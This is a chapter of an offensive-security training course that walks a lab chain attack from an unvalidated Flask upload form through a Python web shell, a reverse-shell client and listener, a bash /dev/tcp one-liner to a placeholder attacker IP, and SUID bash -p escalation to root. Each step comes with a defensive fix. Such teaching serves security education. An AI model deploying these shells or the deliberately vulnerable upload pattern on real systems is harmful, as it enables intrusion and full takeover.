Step 174. Capstone Scenario 2: Web Intrusion → Internal Expansion — One Entrance Opens Everything

Step 174. Capstone Scenario 2: Web Intrusion → Internal Expansion — One Entrance Opens Everything

Level 2 — Introduction to Security and Attack Skill Basics | Difficulty ★★★★★ | Estimated time: 6 hours (two days recommended)

Prerequisites: Steps 172~173 (Capstone Scenario 1), Steps 141~142 (web shells), Step 118 (reverse shells), and Steps 125~126 (privilege escalation and enumeration) completed.

⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.

  • What you need: Python (Flask), WSL Ubuntu, and the penetration report template you made in Step 172.
  • Caution: today’s lab has two layers. ① You measure the chain’s skeleton in a scaled-down lab you build yourself, and ② on a real vulnerable VM (VulnHub’s Mr-Robot, Kioptrix family) you apply the same order, guided by output examples.

Real breaches don’t happen in one blow. They climb like a ladder — web vulnerability (entrance) → web shell (foothold) → limited-privilege shell (settling in) → privilege escalation (domination). The pieces you learned in Level 2 weave into a single strand for the first time today. The habit of asking yourself at each stage, "what can I do right now? where’s the next rung?" — that is this chapter’s real deliverable.


1. Learning Objectives

By the end of this chapter, you will be able to:

  • Explain what a chain attack is and list the five stages from web intrusion to root
  • Reproduce the process of uploading a web shell through an upload vulnerability to gain command execution
  • Cross the web shell’s limits (non-interactive) with a reverse shell and a pty upgrade
  • Pull out the settling-in enumeration commands (id, sudo -l, SUID search, etc.) fit for each purpose
  • Draw the whole attack path as a one-page path map and attach it to your report

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment Python (Flask lab) + WSL Ubuntu bash (measured: Ubuntu 24.04, Python 3.12)
Today’s commands curl -F (file upload), id / sudo -l / find / -perm -4000 / getcap -r (settling-in enumeration), python3 -c 'import pty;pty.spawn("/bin/bash")' (shell upgrade)
Concepts needed chain attack, web shells (Steps 141~142), reverse shell vs bind shell (Step 118), SUID (Step 106), privilege escalation (Steps 125~126)
Today’s artifact one chain path map + a collection of per-stage evidence (output captures)

2-1. Chain Attacks — An Incident Is a Ladder

A chain attack doesn’t finish with one vulnerability — it uses what it gained as the foothold for the next attack, connecting onward. If Step 172’s Scenario 1 was a short chain, "recon → shell," today is a long one: "web → system → root."

Read real breach reports and the ending is always a chain. "WAF bypass → web shell upload → lateral movement into the internal network → AD takeover." An attacker’s skill is decided not by individual techniques but by the ability to connect.

2-2. Today’s Five-Rung Ladder

[1] Web enumeration   gobuster, manual mapping — finding the entrance (vulnerable input point)
[2] Initial intrusion upload/SQLi/command injection → web shell — first step inside the server
[3] Shell upgrade     web shell → reverse shell → pty — building a workable environment
[4] Settling/enum     id, sudo -l, SUID, config files — "what's possible from here?"
[5] Priv escalation   root via the discovered weakness — the chain's endpoint

Each rung corresponds exactly to some step in Level 2. Today’s task is stepping through those steps in order, in one go.

2-3. Why Start with a Scaled-Down Lab

You could grab a VulnHub machine right away. But seeing the chain’s skeleton first in a lab I built has an advantage — you know 100% why each stage succeeds. With a black-box target, only "it worked / it didn’t" remains; on a server I made vulnerable myself, you can see "it works because there’s no validation here." So today’s Follow Along has two layers: first you measure entrance~foothold~settling with Flask, and on a real vulnerable VM we guide the same order with output examples.

2-4. The Question at Each Stage — The Key That Connects the Chain

The point where a chain breaks is not technique but the point where you stop asking questions. Build the habit of asking at each stage:

  • When finding the entrance: "where on the server does this input reach?" (Step 145’s mapping habit)
  • When you’ve gained a foothold: "who am I now, what can I read and write?"
  • When settling in: "which doors on this box are open beyond necessity?"
  • When stuck: "is there something I know that I haven’t tried yet?" — Step 105’s technique list shines here.

3. Follow Along

3-1. Building the Scaled-Down Lab — A Photo-Sharing Site with No Validation

Let’s build the vulnerable web app that will be the entrance. Save step174_lab.py in your working folder.

Input (step174_lab.py)

import os
import subprocess
from flask import Flask, request

app = Flask(__name__)
UP = os.path.join(os.path.dirname(os.path.abspath(__file__)), "uploads174")
os.makedirs(UP, exist_ok=True)

@app.route("/")
def index():
    return """<h1>Photo Sharing Site</h1>
    <form action="/upload" method="post" enctype="multipart/form-data">
      <input type="file" name="photo"><button>Upload</button>
    </form>
    <p>Uploaded files: /uploads/&lt;filename&gt;</p>"""

@app.route("/upload", methods=["POST"])
def upload():
    f = request.files["photo"]
    path = os.path.join(UP, f.filename)   # vulnerability 1: no extension check
    f.save(path)
    return f"Saved: /uploads/{f.filename}"

@app.route("/uploads/<name>")
def view(name):
    path = os.path.join(UP, name)
    if name.endswith(".py"):             # vulnerability 2: executes uploaded scripts
        out = subprocess.run(["python", path], capture_output=True, text=True,
                             encoding="utf-8", errors="replace")
        return f"<pre>{out.stdout}{out.stderr}</pre>"
    return open(path, "rb").read()

if __name__ == "__main__":
    app.run(host="127.0.0.1", port=8174)

Run

python step174_lab.py
curl -s http://127.0.0.1:8174/

(Measured 2026-09-09. curl‘s output is the HTML from the code as-is — an ordinary page with a photo upload form comes back.)

How to read the output: an ordinary photo-sharing site. But look at the code and two holes appear — it doesn’t check the extension on upload (vulnerability 1), and it executes any file ending in .py when accessed (vulnerability 2). The skeleton of a real web shell incident is exactly this combination. On a PHP server, an uploaded .php being executed sits in the same spot (Steps 141~142).

Predict: in one sentence, write down why a "site that only uploads photos" is dangerous — the attacker’s next action — and move to 3-2.

3-2. Initial Intrusion — Uploading the Web Shell

Let’s make the file the attacker will upload, shell174.py. This file plays the role of the web shell — the moment it’s accessed, it executes commands inside the server and returns the results.

Input (shell174.py)

import os
import subprocess
print("whoami ->", subprocess.run(["whoami"], capture_output=True, text=True).stdout.strip())
print("cwd    ->", os.getcwd())
print("files  ->", os.listdir("."))

Upload and execute

curl -s -F "photo=@shell174.py" http://127.0.0.1:8174/upload
curl -s http://127.0.0.1:8174/uploads/shell174.py
Saved: /uploads/shell174.py
<pre>whoami -> labpcstudent
cwd    -> C:UsersstudentDocumentslab
files  -> ['step174_lab.py', 'shell174.py', 'server.log', ...]
</pre>

(Measured 2026-09-09. The username, path, and file list will be from your own environment. Here, personally identifying information has been altered for display.)

New command: curl -F "photo=@file" sends a multipart upload with -F. It’s the same request a browser sends when submitting a form, sent from the terminal.

How to read the output: all three lines are results executed "inside the server." The account whoami returned is this server process’s privilege, and the file list is the server’s disk. We are now inside the server. On a real lab web server, this account is usually a limited service account like www-data — you’ve gotten in, but you have no power yet. That’s normal. The chain is just beginning.

Why: you’ve seen the moment the boundary between "uploading a file" and "executing code" collapses. From the defender’s perspective, this site’s minimal fix is two lines — an extension whitelist and "no execution from the upload folder." Every time you reproduce an attack, you should be able to state its inverse (the defense) alongside (in Step 175 we organize these pairs into a table).

3-3. Shell Upgrade — The Web Shell’s Limits and the Reverse Shell

A web shell is inconvenient. One command per request means no conversation, cd isn’t remembered on the next request, and interactive programs (editors, su) are unusable at all. So the intruder’s next procedure is fixed — a reverse shell: a structure where the server connects itself out to the attacker and offers up a shell (Step 118).

Let’s reproduce that structure locally. Save the listener (the attacker’s waiting server) and the reverse-connect client (assumed to run on the victim server) as separate files.

Input (step174_listener.py — attacker side)

import socket
srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("127.0.0.1", 9174))
srv.listen(1)
print("[*] waiting for a connection on port 9174...")
conn, addr = srv.accept()
print(f"[+] connected! peer: {addr}")
while True:
    cmd = input("shell> ").strip()
    if cmd in ("exit", "quit"):
        conn.send(b"exitn"); break
    if not cmd:
        continue
    conn.send((cmd + "n").encode())
    data = b""
    conn.settimeout(1.0)
    try:
        while True:
            chunk = conn.recv(4096)
            if not chunk: break
            data += chunk
    except socket.timeout:
        pass
    print(data.decode("utf-8", errors="replace"))
conn.close(); srv.close()
print("[*] session closed")

Input (step174_revcli.py — assumed to run on the victim server)

import socket, subprocess
s = socket.socket()
s.connect(("127.0.0.1", 9174))   # connects itself out to the attacker's listener
while True:
    cmd = s.recv(4096).decode("utf-8", errors="replace").strip()
    if cmd in ("exit", "quit", ""):
        break
    out = subprocess.run(cmd, shell=True, capture_output=True, text=True,
                         encoding="utf-8", errors="replace")
    s.send((out.stdout + out.stderr).encode("utf-8", errors="replace"))
s.close()

Run (two terminals: start the listener first in one, run the client in the other)

[*] waiting for a connection on port 9174...
[+] connected! peer: ('127.0.0.1', 60979)
shell> whoami
labpcstudent
shell> ipconfig | findstr IPv4
   IPv4 Address. . . . . . . . . . : 10.20.30.40
shell> exit
[*] session closed

(Measured 2026-09-09. The username and address are altered examples. On a Korean Windows, the Korean in ipconfig output may look garbled — an encoding difference; see Wall 1.)

How to read the output: the "reverse" direction is the core. The client (victim server) connected out to the attacker. Since firewalls usually block only "incoming connections," reverse shells that use outgoing connections tend to work in the field. Conversely, in environments where outbound is blocked too, you use a bind shell, where the server opens a door (we compared the two in Step 118).

In a real lab, you use the web shell’s command execution to run this one-line client — a classic one-liner like bash -i >& /dev/tcp/attackerIP/port 0>&1 sits in that spot. On the attacker’s side you open a listener with nc -lvnp 4444, and when the connection comes in, a prompt like www-data@target:/var/www/html$ appears (output example — the scene on a real vulnerable VM).

3-4. The pty Upgrade — Getting a Proper Terminal

A reverse shell is still only half. Arrow keys, Ctrl+C, suinteractive features don’t work. It’s a shell without a terminal device (pty). The last preparatory move before settling in is this upgrade (output example — since it’s interactive, a local measured capture would be meaningless, so we guide with a real lab screen):

# Output example — inside a reverse shell
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@target:/var/www/html$ export TERM=xterm
www-data@target:/var/www/html$ ^Z        # drop it briefly with Ctrl+Z
$ stty raw -echo; fg                     # put the local terminal in raw mode
www-data@target:/var/www/html$           # now arrow keys & autocomplete work

How to read it: pty is a Python module that creates a fake terminal device. With this one line, "a shell hanging on a pipe" becomes "a shell sitting at a terminal." This stage looks trivial in a chain attack, but it’s effectively mandatory because the next stage’s (settling-in) tools demand interactivity.

3-5. Settling In & Enumerating — "What’s Possible from Here?"

Now you’re standing inside the server with limited privileges. This is the stage of finding material for the next rung (privilege escalation). Let’s run the core enumeration commands yourself on WSL Ubuntu.

id
uname -a
sudo -l
uid=0(root) gid=0(root) groups=0(root)
Linux LAB 6.18.33.2-microsoft-standard-WSL2 #1 SMP ... x86_64 GNU/Linux
Matching Defaults entries for root on LAB:
    env_reset, mail_badpass, secure_path=..., use_pty
User root may run the following commands on LAB:
    (ALL : ALL) ALL

(Measured 2026-09-09, Ubuntu 24.04. This WSL environment’s default user is root, so id shows root — in a real intrusion scenario a limited account like uid=33(www-data) shows up, which is exactly why this stage is needed. The hostname has been altered.)

How to read the output: each of the three commands asks something different. id asks "who am I," uname -a asks "how old is the kernel" (an old kernel is a candidate for known privilege-escalation vulnerabilities), and sudo -l asks "is there a command I can run as root without a password" — the question you look at first in the field. If (ALL) NOPASSWD: /usr/bin/something appears here, that command is the ladder’s next rung.

Next, look at SUID files and capabilities:

find /usr/bin /bin /sbin -perm -4000 -type f 2>/dev/null
getcap -r /usr/bin /bin /sbin 2>/dev/null
tail -3 /etc/passwd
ss -tln
/usr/bin/umount
/usr/bin/su
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/mount
---
/usr/bin/ping cap_net_raw=ep
---
polkitd:x:990:990:User for polkitd:/:/usr/sbin/nologin
dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
---
State  Recv-Q Send-Q  Local Address:Port  Peer Address:Port
LISTEN 0      4096    127.0.0.53%lo:53      0.0.0.0:*
LISTEN 0      4096    127.0.0.1:33381       0.0.0.0:*

(Measured 2026-09-09. Only part of the account list is excerpted.)

How to read the output: a file with the SUID bit is a program that "borrows its owner’s (usually root’s) privileges the moment it runs" (Step 106). su, sudo, passwd are legitimately needed — to the attacker’s eye, the candidate is "an unfamiliar one that shouldn’t be on the list." ss -tln shows the doors this box has opened itself (internal-only services). A port bound only to 127.0.0.1 can’t be seen from outside, but now that you’re inside, it’s visible — this is the starting point of "internal expansion."

Why: enumeration isn’t reading a list — it’s narrowing down candidates. Step 126’s linPEAS is merely a script that asks these questions automatically; the judgment is still yours.

3-6. Privilege Escalation Experiment — Measuring SUID Detection

Let’s safely measure the feel of privilege escalation. Make one SUID file in WSL’s /tmp (deleted after the experiment), and see whether the attacker’s search command catches it.

mkdir -p /tmp/s174
cp /bin/bash /tmp/s174/helper174
chmod 4755 /tmp/s174/helper174
ls -l /tmp/s174/helper174
find /tmp -perm -4000 -type f 2>/dev/null
-rwsr-xr-x 1 root root 1446024 Sep  9 16:56 /tmp/s174/helper174
/tmp/s174/helper174

(Measured 2026-09-09. The file was deleted right after the experiment.)

How to read the output: rws at the front of the ls -l output — an s is planted in the read/write/execute position. Run this file and the process borrows root’s privileges. If you’ve noticed this file is a copy of /bin/bash, you can also guess the next command of an attacker who finds such a file on a real vulnerable VM (output example):

# Output example — when a regular account finds a SUID bash copy on a real lab VM
$ find / -perm -4000 -type f 2>/dev/null
...
/usr/local/bin/backup-helper
$ /usr/local/bin/backup-helper -p
backup-helper-5.1# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

How to read it: -p (privileged) is the option that tells bash "don’t drop your privileges." Give a SUID bash this option and the shell comes up as root. In the field, you find command-option combinations like this in the GTFOBins list (a collection of legitimate commands that become dangerous when set SUID).

Why: this is the chain’s endpoint. One upload hole (entrance) became a web shell (foothold), the shell (settling in) begot enumeration, and one weakness the enumeration found became root (domination). Not a single rung is a remarkable new technique — they’re things learned in Level 2. That is this chapter’s conclusion.

3-7. Drawing the Chain Path Map — Today’s Final Deliverable

Let’s organize the road you walked today into a single picture. Below is an example from the scaled-down lab’s measured version — fill yours with your own environment (or the VM you conquered).

[Entrance]  POST /upload — no extension check → shell174.py saved
   ↓
[Foothold]  GET /uploads/shell174.py — whoami/ls executed inside the server (web shell)
   ↓
[Shell]     step174_revcli.py runs → reverse-connects to the 127.0.0.1:9174 listener (reverse shell)
   ↓      (+ pty upgrade: python3 -c 'import pty;pty.spawn("/bin/bash")')
[Settling]  id / sudo -l / find -perm -4000 / getcap / ss -tln — narrowing candidates
   ↓
[Domination] SUID bash copy found → root shell with the -p option (chain endpoint)

How to read it: next to each arrow, always write one line of grounds — "why I could go from this rung to the next." "Because there was no validation," "because privileges were excessive," "because the password sat plaintext in a config file." Gather those grounds and they become the fix list to hand the defender — the chain path map is an attack report and a defense prescription at once. When conquering a real VM, attach each stage’s evidence (captures of commands and outputs) to each rung of the path map. You can use Step 173’s report template as-is.


4. Missions & Exercises

Mission — Completing One Chain Path Map

Choose one of the two below and complete a path map.

A. Scaled-down lab version: a path map filling today’s Follow Along five rungs with your environment’s real outputs. Attach to each rung ① the command or request used, ② one line of grounds for success, ③ one line of the defender’s fix.

B. Field version: pick one VulnHub machine whose entrance is a web vulnerability (Mr-Robot, Kioptrix family, Easy~Medium), conquer it in today’s five-rung order, then draw the path map. Start from web enumeration and attach captured evidence output for each stage.

Either way, answer at the end: "which link in this chain is the cheapest to cut, and how do you cut it?"

Exercises

Exercise 1. You succeeded at command execution with a web shell, but the account is www-data. "I’m in, so isn’t it all done?" — explain why not, citing two things this account can’t do.

Exercise 2. When a reverse shell won’t land, what do you suspect, and what alternative shell do you use then? Explain together with the firewall’s default policy direction.

Exercise 3. What does find / -perm -4000 -type f look for, and why does it become a privilege-escalation candidate? Also write the name of the bit -4000 means.

Exercise 4. Write the minimal two-line fix blocking 3-1’s two vulnerabilities. Include which link of the chain each fix cuts.


5. Model Answers & Completion Criteria

Mission Model Answer

An example of the scaled-down lab path map (an expanded form of 3-7’s picture):

[Entrance] curl -F "photo=@shell174.py" /upload
       grounds: no extension check / defense: allow only whitelisted extensions
[Foothold] GET /uploads/shell174.py → whoami, file list obtained
       grounds: scripts execute in the upload folder / defense: remove execute permission from the upload folder
[Shell]   revcli runs → reverse-connects to the listener
       grounds: outgoing connections unrestricted / defense: restrict the web server's outbound
[Settling] sudo -l, find -perm -4000, ss -tln
       grounds: least-privilege principle not applied / defense: minimize & audit SUID, authenticate internal ports
[Domination] SUID bash -p → root
       grounds: unnecessary SUID file exists / defense: remove the bit (chmod u-s)

Model answer for "the cheapest link to cut": the [Entrance]. One line of extension whitelist and one line forbidding execution in the upload folder — two lines of configuration nullify the whole chain. Blocking the back links (privilege escalation, etc.) costs far more, which is why defense always starts from the front links. That said, writing alongside that from a defense-in-depth perspective every link should carry its own defense earns full marks.

How to verify the field version: ① is an evidence capture attached to each of the five rungs? ② does every arrow carry its grounds? ③ are "stuck points and workarounds" recorded? An honest record scores higher than a perfect success.

Exercise Answers

Answer 1. www-data is a limited account for the web server process. Examples of what it can’t do: ① read/write other users’ files (insufficient privileges), ② administrator work like changing system settings, installing packages, or opening new ports. So intrusion success is only a "foothold," and the attacker necessarily aims for the next stage (privilege escalation). Defenders know this too, which is why binding the web account to minimal privileges is a core line of defense.

Answer 2. The first thing to suspect is outbound (egress) blocking. Firewalls commonly block incoming connections by default and allow outgoing ones, which is why reverse shells get through — but a well-managed server also restricts the web server’s outgoing connections. The alternative then is a bind shell — a structure where the server opens a port and waits while the attacker connects (Step 118). But this time it conversely fails if inbound is blocked, so trying both directions in turn is the field order.

Answer 3. It looks for files with the SUID (Set User ID) bit. A program with this bit runs with its file owner’s (usually root’s) privileges the moment it’s executed. So if an unfamiliar file that isn’t "something that should be there (su, sudo, passwd)" appears in the list, a possibility opens of gaining root privileges by running or abusing it — a representative privilege-escalation candidate (Steps 106, 125).

Answer 4. ① An extension whitelist check on upload (e.g., allow only .jpg, .png) — cuts the [Entrance] link so scripts can’t get onto the server. ② Never execute files in the upload folder (serve them only as static files) — even if one gets uploaded, the [Foothold] link is cut. Each cuts the chain independently, so applying both is defense in depth.

Completion Criteria Checklist

  • [ ] I can explain the chain attack’s five stages (enumeration → initial intrusion → shell upgrade → settling → privilege escalation) in order
  • [ ] I personally reproduced web shell upload → command execution in the scaled-down lab
  • [ ] I connected the reverse-shell listener/client locally and exchanged commands
  • [ ] I know what each of id, sudo -l, find -perm -4000, getcap, ss -tln asks
  • [ ] I can explain the purpose of the one-line pty upgrade
  • [ ] I did the SUID-file detection experiment and can explain why it’s a privilege-escalation candidate
  • [ ] Mission: I completed the five-rung path map and answered "the cheapest link to cut"

6. Common Pitfalls & Fixes

Wall 1. Running the uploaded script gives empty results or a UnicodeDecodeError

Symptom: you run the web shell and the result is empty like <pre>None</pre>, and an error like this lands in the server log (measured 2026-09-09):

UnicodeDecodeError: 'cp949' codec can't decode byte 0xec in position 6248: illegal multibyte sequence

Cause: on Korean Windows, Python subprocess‘s text=True decodes output with the default encoding (cp949). If UTF-8 Korean (filenames, etc.) mixes into the execution result, decoding breaks.
Fix: specify the encoding explicitly, like subprocess.run(..., text=True, encoding="utf-8", errors="replace") (already reflected in the 3-1 code). This is also an error we actually met while writing this book — Python encoding problems are the wall you meet most often in lab environments.

Wall 2. I fixed the lab server but the behavior is the same

Symptom: you modified the code but the results don’t change.
Cause: a server process you started earlier is still holding the port alive. Even while measuring this chapter, it actually happened that two processes held port 8174 and the new server couldn’t start (two LISTENING lines confirmed with netstat -ano | findstr 8174).
Fix: find the PID with netstat -ano | findstr 8174, kill it with taskkill /PID number /F, then start again. Or if you launch Flask with debug=True, it restarts automatically on code changes.

Wall 3. The reverse shell won’t land

Symptom: the listener is waiting but no connection comes.
Cause: order reversed (client ran first), port mismatch, or the firewall blocking outbound.
Fix: check ① whether the listener was started first, ② whether both sides’ port numbers match (9174). If it still fails, that environment blocks outgoing connections — switch direction with a bind shell (exactly the logic of Exercise 2).

Wall 4. Frustrated because it’s not root

Symptom: you got a web shell but it’s www-data, so there seems to be nothing you can do.
Cause: that’s normal. That’s the daily life of real intrusions, and it’s why chains exist.
Fix: change the question to "what can I do right now?" Readable files, runnable commands (sudo -l), open internal ports (ss -tln) — the list of what you can do is the material for the next rung. Being stuck is not failure but the starting signal of enumeration.


7. Summary

Today’s Concepts

Concept One-line explanation
Chain attack A style that connects onward, using each gain as the next attack’s foothold — real breaches are always chains
The five-rung ladder Web enumeration → initial intrusion → shell upgrade → settling & enumeration → privilege escalation
Web shell limits Non-interactive, stateless — so you upgrade to a reverse shell, then to a pty
The settling question "What can I do right now?" — the list of what’s possible is the next rung’s material
Chain path map One page with success grounds on every arrow — attack report and defense prescription at once

Today’s Commands

Command What it does
curl -F "photo=@file" URL/upload Sending a multipart file-upload request
python3 -c 'import pty;pty.spawn("/bin/bash")' Upgrading a non-interactive shell to a terminal shell
id / uname -a Who am I / how old is the kernel
sudo -l Looking up commands runnable with root privileges without a password
find / -perm -4000 -type f 2>/dev/null Exhaustive survey of SUID files (privilege-escalation candidates)
getcap -r /path Looking up files granted capabilities
ss -tln Checking the doors this box has opened (internal-only services)

An Instinct More Important Than Commands

In today’s scenario, not one new technique was learned. Everything was learned somewhere in Level 2, and what changed is only the connection. The fact that an attacker’s skill is not the flashiness of individual techniques but "never stopping the question that finds the next rung" — this is the chapter’s core.

And flipped over, a chain is a map of defense. Each of the five links costs differently to cut, and the front links are cheaper. Having confirmed by hand that two lines of validation at the entrance nullify everything, you now see the attacker’s ladder and the defender’s fence as the same picture.


Once every box is checked, Step 174 is complete.